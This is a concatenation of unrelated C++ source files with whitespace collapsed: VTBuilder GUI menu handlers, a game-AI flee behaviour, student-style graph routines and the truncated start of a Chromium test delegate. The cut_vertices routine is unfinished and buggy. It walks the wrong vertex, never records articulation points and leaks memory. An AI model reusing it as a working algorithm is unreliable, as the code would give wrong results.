iNumStructures = pStructureLayer->size(); for (iIndex2 = 0; iIndex2 < iNumStructures; iIndex2++) { DRECT Extents; if (pStructureLayer->at(iIndex2)->GetExtents(Extents)) { DPoint2 Point((Extents.left + Extents.right)/2, (Extents.bottom + Extents.top)/2); if (Polygon.ContainsPoint(Point)) pStructureLayer->at(iIndex2)->Select(true); } } } } } } } m_pView->Refresh(); } void MainFrame::OnUpdateStructureSelectUsingPolygons(wxUpdateUIEvent &event) { bool bFoundSelectedPolygons = false; int iNumLayers = m_Layers.size(); for (int i = 0; i < iNumLayers; i++) { vtLayer *pLayer = m_Layers[i]; if (LT_RAW == pLayer->GetType()) { vtRawLayer* pRawLayer = dynamic_cast(pLayer); if ((NULL != pRawLayer) && (wkbPolygon == wkbFlatten(pRawLayer->GetGeomType()))) { vtFeatureSet *pFeatureSet = pRawLayer->GetFeatureSet(); if ((NULL != pFeatureSet) && (pFeatureSet->NumSelected() > 0)) { bFoundSelectedPolygons = true; break; } } } } event.Enable(bFoundSelectedPolygons); } void MainFrame::OnStructureColourSelectedRoofs(wxCommandEvent& event) { vtStructureLayer *pLayer = GetActiveStructureLayer(); if (!pLayer) return; wxColour Colour = wxGetColourFromUser(this); if (Colour.Ok()) { RGBi RoofColour(Colour.Red(), Colour.Green(), Colour.Blue()); for (uint i = 0; i < pLayer->size(); i++) { vtStructure *pStructure = pLayer->at(i); if (!pStructure->IsSelected()) continue; vtBuilding* pBuilding = pStructure->GetBuilding(); if (pBuilding) pBuilding->GetLevel(pBuilding->NumLevels() - 1)->SetEdgeColor(RoofColour); } } } void MainFrame::OnStructureCleanFootprints(wxCommandEvent& event) { vtStructureLayer *pLayer = GetActiveStructureLayer(); if (!pLayer) return; double dEpsilon; if (m_crs.GetUnits() == LU_DEGREES) dEpsilon = 1E-7; else dEpsilon = 1E-2; wxString str; str.Printf(_T("%g"), dEpsilon); str = wxGetTextFromUser(_("How close are degenerate points? (epsilon)"), _("Clean Footprints"), str, this); if (str == _T("")) return; dEpsilon = atof(str.mb_str(wxConvUTF8)); int degen = 0; int overlap = 0; pLayer->CleanFootprints(dEpsilon, degen, overlap); if (degen) DisplayAndLog("%d degenerate points were removed.", degen); if (overlap) DisplayAndLog("%d overlapping points were removed.", overlap); if (!degen && !overlap) DisplayAndLog("No degenerate or overlapping points were found."); } void MainFrame::OnStructureSelectIndex(wxCommandEvent& event) { vtStructureLayer *pLayer = GetActiveStructureLayer(); if (!pLayer) return; int num = pLayer->size(); if (num == 0) return; wxString msg; msg.Printf(_("Index (0 .. %d)"), num-1); int idx = wxGetNumberFromUser(msg, _T(""), _("Index"), 0, 0, num-1); if (idx == -1) return; pLayer->DeselectAll(); vtStructure *stru = pLayer->at(idx); if (stru) { stru->Select(true); DRECT r; stru->GetExtents(r); m_pView->ZoomToRect(r, 0.1f); } } void MainFrame::OnUpdateStructureColourSelectedRoofs(wxUpdateUIEvent& event) { event.Enable((NULL != GetActiveStructureLayer()) && (GetActiveStructureLayer()->NumSelected() > 0)); } void MainFrame::OnStructureExportFootprints(wxCommandEvent& event) { // Open File Save Dialog wxFileDialog saveFile(NULL, _("Export footprints to SHP"), _T(""), _T(""), FSTRING_SHP, wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (saveFile.ShowModal() == wxID_CANCEL) return; wxString strPathName = saveFile.GetPath(); vtStructureLayer *pLayer = GetActiveStructureLayer(); pLayer->WriteFootprintsToSHP(strPathName.mb_str(wxConvUTF8)); } void MainFrame::OnStructureExportCanoma(wxCommandEvent& event) { // Open File Save Dialog wxFileDialog saveFile(NULL, _("Export footprints to Canoma3DV"), _T(""), _T(""), FSTRING_3DV, wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (saveFile.ShowModal() == wxID_CANCEL) return; wxString strPathName = saveFile.GetPath(); vtStructureLayer *pLayer = GetActiveStructureLayer(); DRECT area; if (m_area.IsEmpty()) // If the area tool isn't set, use the whole layer extents pLayer->GetExtents(area); else area = m_area; vtHeightField *pHF = NULL; vtElevLayer *pE = (vtElevLayer *)GetMainFrame()->FindLayerOfType(LT_ELEVATION); if (pE) pHF = pE->GetHeightField(); pLayer->WriteFootprintsToCanoma3DV(strPathName.mb_str(wxConvUTF8), &area, pHF); } void MainFrame::OnUpdateStructureExportFootprints(wxUpdateUIEvent& event) { event.Enable(NULL != GetActiveStructureLayer()); } /////////////////////////////////// // Raw menu void MainFrame::OnUpdateRawIsActive(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL); } void MainFrame::OnUpdateRawIsActive3D(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && // if the current layer is a 3D type (pRL->GetGeomType() == wkbPoint25D || pRL->GetGeomType() == wkbLineString25D)); } void MainFrame::OnUpdateRawIsPolygon(wxUpdateUIEvent& event) { // if the current layer is polygon vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && pRL->GetGeomType() == wkbPolygon); } void MainFrame::OnUpdateRawIsPoint(wxUpdateUIEvent& event) { // if the current layer is polygon vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && (pRL->GetGeomType() == wkbPoint || pRL->GetGeomType() == wkbPoint25D)); } void MainFrame::OnUpdateRawHasPolylines(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && (pRL->GetGeomType() == wkbPolygon || pRL->GetGeomType() == wkbLineString)); } void MainFrame::OnRawSetType(wxCommandEvent& event) { static OGRwkbGeometryType types[5] = { wkbNone, wkbPoint, wkbPoint25D, wkbLineString, wkbPolygon }; wxString choices[5]; for (int i = 0; i < 5; i++) choices[i] = wxString::FromAscii(OGRGeometryTypeToName(types[i])); int n = 5; int cur_type = 0; wxSingleChoiceDialog dialog(this, _("Raw Layer Type"), _("Please indicate entity type:"), n, (const wxString *)choices); dialog.SetSelection(cur_type); if (dialog.ShowModal() == wxID_OK) { cur_type = dialog.GetSelection(); vtRawLayer *pRL = (vtRawLayer *) GetActiveLayer(); // must set the projection and layername again, as they are reset on // setting geom type wxString name = pRL->GetLayerFilename(); pRL->SetGeomType(types[cur_type]); pRL->SetCRS(m_crs); pRL->SetLayerFilename(name); RefreshTreeStatus(); } } void MainFrame::OnUpdateRawSetType(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && pRL->GetGeomType() == wkbNone); } void MainFrame::OnRawAddPoints(wxCommandEvent& event) { m_pView->SetMode(LB_AddPoints); } void MainFrame::OnUpdateRawAddPoints(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && (pRL->GetGeomType() == wkbPoint || pRL->GetGeomType() == wkbPoint25D)); event.Check(m_pView->GetMode() == LB_AddPoints); } void MainFrame::OnRawAddPointText(wxCommandEvent& event) { wxString str = wxGetTextFromUser(_("(X, Y) in current projection"), _("Enter coordinate")); if (str == _T("")) return; DPoint2 p; int num = sscanf(str.mb_str(wxConvUTF8), "%lf, %lf", &p.x, &p.y); if (num != 2) return; vtRawLayer *pRL = GetActiveRawLayer(); pRL->AddPoint(p); m_pView->Refresh(); } void MainFrame::OnUpdateRawAddPointText(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && pRL->GetGeomType() == wkbPoint); } void MainFrame::OnRawAddPointsGPS(wxCommandEvent& event) { } void MainFrame::OnUpdateRawAddPointsGPS(wxUpdateUIEvent& event) { // vtRawLayer *pRL = GetActiveRawLayer(); // event.Enable(pRL != NULL && pRL->GetEntityType() == SHPT_POINT); event.Enable(false); // not implemented yet } void MainFrame::OnRawAddFeatureWKT(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); if (pRL == NULL || pRL->GetGeomType() != wkbLineString) return; vtFeatureSetLineString *fsls = (vtFeatureSetLineString*) pRL->GetFeatureSet(); wxString str = wxGetTextFromUser(_("Enter well-known-text (WKT) of a feature (in current CRS)")); if (str == _T("")) return; vtString vs = (const char *) str.ToAscii(); OGRLineString ols; // Convert from OGC WKT to an OGR feature int len = vs.GetLength(); char *buffer = (char *) CPLMalloc(len+1); strcpy(buffer, (const char *) vs); char *buffer2 = buffer; OGRErr oe = ols.importFromWkt(&buffer2); CPLFree(buffer); if (oe != OGRERR_NONE) { DisplayAndLog("Sorry, couldn't parse that text."); return; } // Convert OGR feature to polyline (DLine2) DLine2 pline; int num_points = ols.getNumPoints(); for (int j = 0; j < num_points; j++) pline.Append(DPoint2(ols.getX(j), ols.getY(j))); fsls->AddPolyLine(pline); m_pView->Refresh(); } void MainFrame::OnRawSelectCondition(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); vtFeatureSet *pFS = pRL->GetFeatureSet(); if (!pFS || pFS->NumFields() == 0) { DisplayAndLog("Can't select by condition because the current\n" "layer has no fields defined."); return; } SelectDlg dlg(this, -1, _("Select")); dlg.SetRawLayer(pRL); if (dlg.ShowModal() == wxID_OK) { wxString str = dlg.m_strValue; int selected = pFS->SelectByCondition(dlg.m_iField, dlg.m_iCondition, str.mb_str(wxConvUTF8)); wxString msg; if (selected == -1) msg = _("Unable to select"); else if (selected == 1) msg.Printf(_("Selected 1 entity")); else msg.Printf(_("Selected %d entities"), selected); SetStatusText(msg); msg += _T("\n"); VTLOG1(msg.mb_str(wxConvUTF8)); m_pView->Refresh(false); OnSelectionChanged(); } } void MainFrame::OnRawGenerateTIN(wxCommandEvent& event) { VTLOG1("OnRawGenerateTIN\n"); vtRawLayer *pRaw = GetActiveRawLayer(); vtFeatureSet *pSet = pRaw->GetFeatureSet(); vtTin2d *tin; vtFeatureSetPoint3D *setpo3 = dynamic_cast(pSet); vtFeatureSetPolygon *setpg = dynamic_cast(pSet); if (setpo3) tin = new vtTin2d(setpo3); else if (setpg) { uint n = setpg->NumFields(); int field_num = -1; float height = 0.0f; if (n > 0) { wxArrayString choices; for (uint i = 0; i < n; i++) choices.Add(wxString(setpg->GetField(i)->m_name, wxConvUTF8)); // We need to know which field contains height field_num = wxGetSingleChoiceIndex(_("Height Field"), _("Generate TIN"), choices, this); if (field_num == -1) return; } else { wxString str; str.Printf(_T("%g"), height); str = wxGetTextFromUser(_("What height to use for the TIN surface?"), _("Generate TIN"), str, this); if (str == _T("")) return; height = atof(str.mb_str(wxConvUTF8)); } tin = new vtTin2d(setpg, field_num, height); } else { DisplayAndLog("Must be polygons with height attribute, or 3D points"); return; } vtElevLayer *pEL = new vtElevLayer; pEL->SetTin(tin); // inherit name wxString lname = pRaw->GetLayerFilename(); RemoveFileExtensions(lname); pEL->SetLayerFilename(lname + wxString(".itf", wxConvUTF8)); AddLayer(pEL); SetActiveLayer(pEL); m_pView->Refresh(); RefreshTreeView(); } void MainFrame::OnRawConvertToPolygons(wxCommandEvent& event) { vtRawLayer *pRaw = GetActiveRawLayer(); vtFeatureSet *pSet = pRaw->GetFeatureSet(); vtFeatureSetLineString *setls2 = dynamic_cast(pSet); vtFeatureSetLineString3D *setls3 = dynamic_cast(pSet); vtFeatureSet *newset = NULL; if (setls2) { vtFeatureSetPolygon *polys = new vtFeatureSetPolygon; for (uint i = 0; i < setls2->NumEntities(); i++) { const DLine2 &polyline = setls2->GetPolyLine(i); int npoints = polyline.GetSize(); if (polyline[0] == polyline[npoints-1]) { DPolygon2 dpoly; dpoly.push_back(polyline); // Omit the first/last point (duplicate) dpoly[0].RemoveAt(npoints-1); polys->AddPolygon(dpoly); } } if (polys->NumEntities() == 0) { DisplayAndLog("Didn't find any closed polylines"); delete polys; return; } newset = polys; } else if (setls3) { // TODO; we don't actually do 3D polygons yet. } else { DisplayAndLog("Must be polylines (linestrings), either 2D or 3D"); return; } vtRawLayer *pNewRaw = new vtRawLayer; pNewRaw->SetFeatureSet(newset); // inherit name wxString fname = pRaw->GetLayerFilename(); RemoveFileExtensions(fname); pNewRaw->SetLayerFilename(fname + wxString("-poly.shp", wxConvUTF8)); AddLayer(pNewRaw); SetActiveLayer(pNewRaw); m_pView->Refresh(); RefreshTreeView(); } void CapWords(vtString &str) { bool bStart = true; for (int i = 0; i < str.GetLength(); i++) { char ch = str[i]; if (bStart) ch = toupper(ch); else ch = tolower(ch); str.SetAt(i, ch); if (ch == ' ') bStart = true; else bStart = false; } } void MainFrame::OnRawExportKML(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); if (!pRL) return; vtFeatureSet *fset = pRL->GetFeatureSet(); //ImageMapDlg dlg(this, -1, _("Export Image Map")); //dlg.SetFields(fset); //if (dlg.ShowModal() != wxID_OK) // return; wxFileDialog loadFile(NULL, _("Save to KML File"), _T(""), _T(""), FSTRING_KML, wxFD_SAVE); if (loadFile.ShowModal() != wxID_OK) return; fset->SaveToKML(loadFile.GetPath().mb_str(wxConvUTF8)); } void MainFrame::OnRawGenElevation(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); if (!pRL) return; vtFeatureSet *pSet = pRL->GetFeatureSet(); DRECT extent; pSet->ComputeExtent(extent); bool bIsGeo = (m_crs.IsGeographic() != 0); GenGridDlg dlg(this, -1, _("Generate Grid from 3D Points"), bIsGeo); dlg.m_fAreaX = extent.Width(); dlg.m_fAreaY = extent.Height(); dlg.m_Size.x = 512; dlg.m_Size.y = 512; dlg.RecomputeSize(); dlg.m_fDistanceCutoff = 1.5f; int ret = dlg.ShowModal(); if (ret == wxID_CANCEL) return; vtElevLayer *el = new vtElevLayer; OpenProgressDialog(_T("Creating Grid"), _T(""), true); int xsize = 800; int ysize = 300; if (el->CreateFromPoints(pSet, dlg.m_Size, dlg.m_fDistanceCutoff)) AddLayerWithCheck(el); else delete el; CloseProgressDialog(); } void MainFrame::OnUpdateRawGenElevation(wxUpdateUIEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); event.Enable(pRL != NULL && pRL->GetGeomType() == wkbPoint25D); } void MainFrame::OnRawStyle(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); DrawStyle style = pRL->GetDrawStyle(); style.m_LineColor.Set(0,0,0); pRL->SetDrawStyle(style); } void MainFrame::OnRawScaleH(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); wxString str = _T("1"); str = wxGetTextFromUser(_("Scale factor?"), _("Scale Raw Layer"), str, this); if (str == _T("")) return; double value = atof(str.mb_str(wxConvUTF8)); pRL->ScaleHorizontally(value); m_pView->Refresh(); } void MainFrame::OnRawScaleV(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); wxString str = _T("1"); str = wxGetTextFromUser(_("Scale factor?"), _("Scale Raw Layer"), str, this); if (str == _T("")) return; double value = atof(str.mb_str(wxConvUTF8)); pRL->ScaleVertically(value); m_pView->Refresh(); } void MainFrame::OnRawOffsetV(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); wxString str = _T("0"); str = wxGetTextFromUser(_("Vertical offset?"), _("Offset Raw Layer"), str, this); if (str == _T("")) return; double value = atof(str.mb_str(wxConvUTF8)); pRL->OffsetVertically(value); m_pView->Refresh(); } void MainFrame::OnRawClean(wxCommandEvent& event) { VTLOG1("OnRawClean\n"); // Get the featureset we're going to clean. vtRawLayer *pRL = GetActiveRawLayer(); vtFeatureSet *fset = pRL->GetFeatureSet(); vtFeatureSetPolygon *fspoly = dynamic_cast(fset); vtFeatureSetLineString *fsline = dynamic_cast(fset); if (!fspoly && !fsline) return; wxString str = _T("0.10"); str = wxGetTextFromUser(_("Distance threshhold for proximity and co-linearity?"), _("Clean Raw Layer"), str, this); if (str == _T("")) return; double value = atof(str.mb_str(wxConvUTF8)); int removed; if (fspoly) removed = fspoly->FixGeometry(value); if (fsline) removed = fsline->FixGeometry(value); str.Printf(_("Removed %d degenerate points"), removed); DisplayAndLog(str); if (removed != 0) pRL->SetModified(true); m_pView->Refresh(); } void MainFrame::OnRawSelectBad(wxCommandEvent& event) { vtRawLayer *pRL = GetActiveRawLayer(); vtFeatureSetPolygon *fsp = (vtFeatureSetPolygon*) pRL->GetFeatureSet(); wxString str = _T("0.10"); str = wxGetTextFromUser(_("Distance threshhold for proximity?"), _("Select bad polygons"), str, this); if (str == _T("")) return; double value = atof(str.mb_str(wxConvUTF8)); int bad = fsp->SelectBadFeatures(value); str.Printf(_("Found %d degenerate polygons"), bad); wxMessageBox(str); m_pView->Refresh(); } //////////////////// // Help void MainFrame::OnHelpAbout(wxCommandEvent &event) { wxString str = _("Virtual Terrain Builder\nPowerful, easy to use, free!\n"); str += _T("\n"); str += _("Please read the HTML documentation and license.\n"); str += _T("\n"); str += _("Send feedback to: "); str += _T("\n"); str += _T("\nVersion: "); str += _T(VTP_VERSION); str += _T("\n"); str += _("Build date: "); str += wxString(__DATE__, wxConvUTF8); str += _T("\n"); #if defined(_MSC_VER) && defined(_DEBUG) // == 1300 for VC7.1 _CrtMemState state; _CrtMemCheckpoint(&state); int iAllocated = state.lSizes[1] + state.lSizes[2]; wxString str3; str3.Printf(_T("Memory in use: %d bytes (%.0fK, %.1fMB)"), iAllocated, (float)iAllocated/1024, (float)iAllocated/1024/1024); str += _T("\n"); str += str3; #endif wxString str2 = _("About "); str2 += wxString("VTBuilder", wxConvUTF8); wxMessageBox(str, str2); } void MainFrame::OnHelpDocLocal(wxCommandEvent &event) { vtString local_lang_code = (const char *) wxGetApp().GetLanguageCode().mb_str(wxConvUTF8); local_lang_code = local_lang_code.Left(2); // Launch default web browser with documentation pages LaunchAppDocumentation("VTBuilder", local_lang_code); } void MainFrame::OnHelpDocOnline(wxCommandEvent &event) { // Launch default web browser with documentation pages wxLaunchDefaultBrowser(_T("http://vterrain.org/Doc/VTBuilder/")); } //////////////////// // Popup menu items void MainFrame::OnDistanceClear(wxCommandEvent &event) { ClearDistance(); } void MainFrame::OnShowAll(wxCommandEvent& event) { for (uint i = 0; i < m_Layers.size(); i++) { vtLayer *lp = m_Layers[i]; if (lp->GetType() == m_pTree->m_clicked_layer_type) { lp->SetVisible(true); RefreshView(); } } RefreshTreeStatus(); } void MainFrame::OnHideAll(wxCommandEvent& event) { for (uint i = 0; i < m_Layers.size(); i++) { vtLayer *lp = m_Layers[i]; if (lp->GetType() == m_pTree->m_clicked_layer_type) { lp->SetVisible(false); RefreshView(); } } RefreshTreeStatus(); } void MainFrame::OnLayerPropsPopup(wxCommandEvent& event) { wxTreeItemId itemId = m_pTree->GetSelection(); MyTreeItemData *data = (MyTreeItemData *)m_pTree->GetItemData(itemId); if (!data) return; ShowLayerProperties(data->m_pLayer); } void MainFrame::OnLayerToTop(wxCommandEvent& event) { wxTreeItemId itemId = m_pTree->GetSelection(); MyTreeItemData *data = (MyTreeItemData *)m_pTree->GetItemData(itemId); if (!data) return; int num = LayerNum(data->m_pLayer); if (num != 0) { SwapLayerOrder(0, num); RefreshView(); RefreshTreeView(); } } void MainFrame::OnLayerToBottom(wxCommandEvent& event) { wxTreeItemId itemId = m_pTree->GetSelection(); MyTreeItemData *data = (MyTreeItemData *)m_pTree->GetItemData(itemId); if (!data) return; int total = NumLayers(); int num = LayerNum(data->m_pLayer); if (num != total-1) { SwapLayerOrder(num, total-1); RefreshView(); RefreshTreeView(); } } void MainFrame::OnLayerOverviewDisk(wxCommandEvent& event) { wxTreeItemId itemId = m_pTree->GetSelection(); MyTreeItemData *data = (MyTreeItemData *)m_pTree->GetItemData(itemId); if (!data) return; vtImageLayer *pIL = (vtImageLayer *) data->m_pLayer; OpenProgressDialog(_("Creating Overviews"), _T(""), false, this); pIL->GetImage()->CreateOverviews(); CloseProgressDialog(); } void MainFrame::OnLayerOverviewMem(wxCommandEvent& event) { wxTreeItemId itemId = m_pTree->GetSelection(); MyTreeItemData *data = (MyTreeItemData *)m_pTree->GetItemData(itemId); if (!data) return; vtImageLayer *pIL = (vtImageLayer *) data->m_pLayer; OpenProgressDialog(_("Creating MipMaps"), _T(""), false, this); pIL->GetImage()->AllocMipMaps(); pIL->GetImage()->DrawMipMaps(); CloseProgressDialog(); } void MainFrame::OnMRUFileProject(wxCommandEvent& event) { int n = event.GetId() - ID_FIRST_MRU_FILE; // the index in MRU list wxString fname(m_ProjectFiles[n], wxConvUTF8); // this method will update the MRU if successful LoadProject(fname); } void MainFrame::OnMRUFileLayer(wxCommandEvent& event) { int n = event.GetId() - ID_FIRST_MRU_LAYER; // the index in MRU list wxString fname(m_LayerFiles[n], wxConvUTF8); // this method will update the MRU if successful LoadLayer(fname); } void MainFrame::OnMRUFileImport(wxCommandEvent& event) { int n = event.GetId() - ID_FIRST_MRU_IMPORT; // the index in MRU list wxString fname(m_ImportFiles[n], wxConvUTF8); if (ImportDataFromArchive(LT_UNKNOWN, fname, true) != 0) { // succeeded, bring to the top of the MRU AddToMRU(m_ImportFiles, (const char *) fname.mb_str(wxConvUTF8)); } } TurbulentArena/BFleeFromEnemies.cpp #include "stdafx.h" #include "BFleeFromEnemies.hpp" #include "Agent.hpp" #include "ClanMember.hpp" namespace bjoernligan { namespace ai { BFleeFromEnemies::BFleeFromEnemies() { } EBNodeStatus BFleeFromEnemies::Process() { if (!m_xAgent) return EBNodeStatus::Invalid; if (!m_xAgent->getSense()->getVisibleEnemies().empty()) { m_xAgent->GetPath()->setDone(); float fFleeSpeed = 200.f + 100.0f * m_xAgent->getOwner()->GetCombat()->GetHealthPercentage(); m_xAgent->getOwner()->GetMovementStats().SetMaxVelocity(fFleeSpeed); m_xAgent->GetSteering()->Flee(m_xAgent->getSense()->getVisibleEnemies().front()->m_agent->getOwner()->getSprite()->getPosition()); m_xAgent->GetSteering()->Update(); return EBNodeStatus::Success; } // Play Run away sound from monty python? return EBNodeStatus::Fail; } } } vector < vector > connected_components(int ** graph, int nodes, int * degree, vector subgraph); vector cut_vertices(int ** graph, int nodes, int * degree, vector & subgraph); void print_graph(int ** graph, int nodes, int * degree, vector subgraph){ // Print given subgraph // Input : graph, nodes, degree, and subgraph // output: nothing bool * alive = (bool *) malloc(sizeof(bool) * nodes); if (alive == NULL){ cout << "No space for alive" << endl; exit(EXIT_FAILURE); } for(int i=0; i < nodes; i++){ alive[i] = false; } for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ alive[*it] = true; } for(vector ::iterator it = subgraph.begin(); it != subgraph.end(); it++){ cout << int(*it) << " : "; for(int i = 0; i < degree[*it]; i++){ if (alive[graph[*it][i]] == true){ cout << graph[*it][i] << " "; } } cout << endl; } free(alive); } void print_degree(int ** graph, int nodes, int * degree, vector subgraph){ // Print degree in given subgraph // Input : graph, nodes, degree, and subgraph // output: nothing bool * alive = (bool *) malloc(sizeof(bool) * nodes); int * deg_subgraph = (int *) malloc(sizeof(int) * nodes); if (alive == NULL){ cout << "No space for alive" << endl; exit(EXIT_FAILURE); } for(int i=0; i < nodes; i++){ alive[i] = false; deg_subgraph[i] = 0; } for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ alive[*it] = true; } for(vector ::iterator it = subgraph.begin(); it != subgraph.end(); it++){ //cout << int(*it) << " : "; for(int i = 0; i < degree[*it]; i++){ if (alive[graph[*it][i]] == true){ deg_subgraph[*it] += 1; } } cout << deg_subgraph[*it] << ", "; } cout << endl; free(alive); free(deg_subgraph); } vector < vector > connected_components(int ** graph, int nodes, int * degree, vector subgraph){ //Returns connected components of given graph //Input : Graph G //Ouput : Vector of vectors. Each vector contains a connected component of G. Same as number_of_connected_comp function vector< vector > conn_componets; bool * is_explored = (bool *) malloc(sizeof(bool) * nodes); bool * alive = (bool *) malloc(sizeof(bool) * nodes); if ((is_explored == NULL) or (alive == NULL)){ cout << "No space for is_explored " << endl; exit(EXIT_FAILURE); //return conn_componets; // effectively return 0 with error } for(int i=0; i < nodes; i++){ is_explored[i] = false; alive[i] = false; } for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ alive[*it] = true; } int xvertex; int unexplored_nbr; int yvertex; for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ yvertex = *it; // converting subgraph into vertex if (is_explored[yvertex] == true) continue; vector component; // Collect vertices in new component vector dfs_stack; dfs_stack.push_back(yvertex); is_explored[yvertex] = true; component.push_back(yvertex); // Vertex is pushed in component right after it is first time marked as explored. while(!dfs_stack.empty()){ xvertex = dfs_stack.back(); unexplored_nbr = -1; // If there is unexplored nbr, this value will be change to something meaningful for(int j=0; j < degree[xvertex]; j++){ if ((alive[graph[xvertex][j]] == true) and (is_explored[graph[xvertex][j]] == false)){ unexplored_nbr = graph[xvertex][j]; break; } } if(unexplored_nbr != -1){ is_explored[unexplored_nbr] = true; component.push_back(unexplored_nbr); // add this vertex to component dfs_stack.push_back(unexplored_nbr); }else{ dfs_stack.pop_back(); // remove xvertex from stack } } conn_componets.push_back(component); } free(is_explored); free(alive); return conn_componets; } vector cut_vertices(int ** graph, int nodes, int * degree, vector & subgraph){ // Returns cut vertices in given graph // Input : graph, number of nodes, subgraph // Output : a vector containing cut vertices of given graph vector articulation_points; bool * alive = (bool *) malloc(sizeof(bool *) * nodes); bool * is_explored = (bool *) malloc(sizeof(bool) * nodes); int * parent = (int *) malloc(sizeof(int) * nodes); int * time_visited = (int *) malloc(sizeof(int) * nodes); int * dfs_low = (int *) malloc(sizeof(int) * nodes); if ((alive == NULL) || (is_explored == NULL) || (parent == NULL) || (time_visited == NULL)){ cout << "Not enough space for alive/is_explored_parent/time_visited array" << endl; exit(EXIT_FAILURE); } for(int i=0; i< nodes; i++){ alive[i] = false; is_explored[i] = true; time_visited[i] = 0; dfs_low[i] = 0; } int xvertex; int time = 0; bool is_unexplored_nbr_present; vector dfs_stack; int unexplored_vertex; for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ alive[*it] = true; is_explored[*it] = false; } for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ if (is_explored[*it] == true) continue; dfs_stack.push_back(*it); is_explored[*it] = true; parent[*it] = -1; // to denote the root time_visited[*it] = time; time += 1; while(!dfs_stack.empty()){ xvertex = dfs_stack.back(); cout << "xvertex " << xvertex << endl; is_unexplored_nbr_present = false; unexplored_vertex = -1;// If there is an unexplored vertex, this is get some value for (int i = 0; i < degree[*it]; i++){ if (alive[graph[*it][i]] == false){ continue; } if ((alive[graph[*it][i]] == true) && (is_explored[graph[*it][i]] == false)) { is_unexplored_nbr_present = true; unexplored_vertex = graph[*it][i]; break; } } if (is_unexplored_nbr_present){ cout << "Unexplored nbr " << unexplored_vertex << endl; dfs_stack.push_back(unexplored_vertex); is_explored[unexplored_vertex] = true; parent[unexplored_vertex] = *it; time_visited[unexplored_vertex] = time; time += 1; } else{ dfs_stack.pop_back(); } } } free(alive); free(is_explored); free(parent); free(time_visited); return articulation_points; } /* void addEdge(int xvertex, int yvertex); void print_degree(vector & subgraph); bool is_vertex_cover(vector subgraph, vector solution); vector maximal_matching(vector original_subgraph); void print_degree(vector & subgraph){ // Print degree of all vertices which are in subgraph for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ int deg_in_subgraph = 0; for(vector::iterator it1 = subgraph.begin(); it1 != subgraph.end(); it1++){ //cout << *it << " " << *it1 << " " << graph[*it][*it1] << endl; if (graph[*it][*it1] == 1){ deg_in_subgraph++; } } cout << deg_in_subgraph << " "; } cout << endl; } bool is_vertex_cover(vector subgraph, vector solution){ //Returns True if solution is a vertex cover fo graph. False otherwise. //Does a sanity check wherever every vertex in solution is present in graph or not. //If sanity check works then just deletes vertices in solution from graph and apply reduction rule which deletes deg0 vertices. //If graph is empty then return yes, otherwise it returns no. //cout << "\n Subgraph "; //print_vector(subgraph); //cout << "\n Solution "; //print_vector(solution); //cout << endl; bool is_element_present; for(vector::iterator it = solution.begin(); it != solution.end(); it++){ is_element_present = ( find(subgraph.begin(), subgraph.end(), int(*it)) != subgraph.end());//is_element_present is True if element is present if(!is_element_present){ cout << "Vertex in solution which is not in graph " << int(*it) << endl; return false; } subgraph.erase(remove(subgraph.begin(), subgraph.end(), int(*it)), subgraph.end()); } rr_remove_deg_zero(subgraph, solution); // Passing solution as placeholder. rr does nothing to second argument. cout << "\n Remaining Subgraph after removing solution \n"; print_vector(subgraph); return subgraph.empty(); } vector maximal_matching(vector original_subgraph){ // Returns a maximal matching in graph // Input : graph // Output : Vector of pair of integers contained in matching vector subgraph = original_subgraph; // Local copy of subgraph vector matching; vector temp_sol; int xvertex, yvertex; edge_T temp_edge; while(!subgraph.empty()){ rr_remove_deg_zero(subgraph, temp_sol); xvertex = int(*subgraph.begin()); for(vector::iterator it = subgraph.begin(); it != subgraph.end(); it++){ if (graph[xvertex][int(*it)] == 1){ temp_edge.x = xvertex; temp_edge.y = int(*it); matching.push_back(temp_edge); subgraph.erase(remove(subgraph.begin(), subgraph.end(), xvertex), subgraph.end()); subgraph.erase(remove(subgraph.begin(), subgraph.end(), int(*it)), subgraph.end()); break; } } } return matching; } */ Yannic/chromium // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/capture_mode/test_capture_mode_delegate.h" #include "ash/capture_mode/capture_mode_types.h" #include "ash/public/cpp/capture_mode/recording_overlay_view.h" #include "ash/services/recording/public/mojom/recording_service.mojom.h" #include "ash/services/recording/recording_service_test_api.h" #include "ash/session/session_controller_impl.h" #include "ash/shell.h" #include "base/files/file_util.h" #include "base/threading/thread_restrictions.h" namespace ash { namespace { class TestRecordingOverlayView : public RecordingOverlayView { public: TestRecordingOverlayView() = default; TestRecordingOverlayView(const TestRecordingOverlayView&) = delete; TestRecordingOverlayView& operator=(const TestRecordingOverlayView&) = delete; ~TestRecordingOverlayView() override = default; }; } // namespace TestCaptureModeDelegate::TestCaptureModeDelegate() { 